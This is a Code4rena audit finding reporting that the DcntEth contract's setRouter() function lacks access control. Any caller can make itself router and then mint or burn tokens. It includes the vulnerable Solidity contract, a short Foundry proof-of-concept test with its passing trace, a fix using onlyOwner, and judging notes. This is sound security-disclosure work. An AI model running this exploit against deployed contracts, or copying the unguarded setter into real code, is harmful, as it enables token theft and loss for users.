Platform: Code4rena
Start Date: 19/01/2024
Pot Size: $36,500 USDC
Total HM: 9
Participants: 113
Period: 3 days
Judge: 0xsomeone
Id: 322
League: ETH
Rank: 78/113
Findings: 1
Award: $0.12
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: NPCsCorp
Also found by: 0x11singh99, 0xAadi, 0xBugSlayer, 0xE1, 0xPluto, 0xSimeon, 0xSmartContract, 0xabhay, 0xdice91, 0xprinc, Aamir, Aymen0909, CDSecurity, DadeKuma, DarkTower, EV_om, Eeyore, GeekyLumberjack, GhK3Ndf, Giorgio, Greed, Inference, JanuaryPersimmon2024, Kaysoft, Krace, Matue, MrPotatoMagic, NentoR, Nikki, PUSH0, Soliditors, Tendency, Tigerfrake, Timeless, Timenov, ZanyBonzy, ZdravkoHr, abiih, adeolu, al88nsk, azanux, bareli, boredpukar, cu5t0mpeo, d4r3d3v1l, darksnow, deth, dutra, ether_sky, haxatron, ke1caM, kodyvim, m4ttm, mgf15, mrudenko, nmirchev8, nobody2018, nuthan2x, peanuts, piyushshukla, ravikiranweb3, rouhsamad, seraviz, simplor, slylandro_star, stealth, th13vn, vnavascues, wangxx2026, zaevlad
0.1172 USDC - $0.12
github.com/decentxyz/decent-bridge/blob/main/src/DcntEth.sol?plain=1#L20-L22
The malicious user can use the setRouter()
function in the DcntEth
contract to set the router to himself, then mint as much tokens as he wants to himself or burn as much as he wants from other users.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import {OFTV2} from "solidity-examples/token/oft/v2/OFTV2.sol"; import {Test} from "forge-std/Test.sol"; import {LzChainSetup} from "lib/forge-toolkit/src/LzChainSetup.sol"; contract DcntEth is OFTV2 { address public router; modifier onlyRouter() { require(msg.sender == router); _; } constructor(address _layerZeroEndpoint) OFTV2("Decent Eth", "DcntEth", 18, _layerZeroEndpoint) {} /** * @param _router the decentEthRouter associated with this eth */ function setRouter(address _router) public { router = _router; } function mint(address _to, uint256 _amount) public onlyRouter { _mint(_to, _amount); } function burn(address _from, uint256 _amount) public onlyRouter { _burn(_from, _amount); } function mintByOwner(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); } function burnByOwner(address _from, uint256 _amount) public onlyOwner { _burn(_from, _amount); } function getRouter() public view returns (address) { return router; } } contract Attack is Test, Script { DcntEth dcntEth; address lzEndPoint = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675; function setUp() public { dcntEth = new DcntEth(lzEndPoint); } function testAtack() public returns (address) { dcntEth.setRouter(msg.sender); console.log(dcntEth.getRouter()); assertEq(msg.sender, dcntEth.getRouter()); return dcntEth.getRouter(); } }
[PASS] testAtack() (gas: 33827) Logs: 0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38 Traces: [33827] Attack::testAtack() ├─ [22543] DcntEth::setRouter(DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38]) │ └─ ← () ├─ [442] DcntEth::getRouter() [staticcall] │ └─ ← DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38] ├─ [0] console::log(DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38]) [staticcall] │ └─ ← () ├─ [442] DcntEth::getRouter() [staticcall] │ └─ ← DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38] ├─ [442] DcntEth::getRouter() [staticcall] │ └─ ← DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38] └─ ← DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38]
manual review
set the owner of the contract in its constructor, and put onlyOwner
modifier to the setRouter()
function, so only the owner can change the router.
Access Control
#0 - c4-pre-sort
2024-01-23T23:49:21Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-01-23T23:49:36Z
raymondfam marked the issue as duplicate of #14
#2 - c4-judge
2024-02-03T13:29:23Z
alex-ppg marked the issue as satisfactory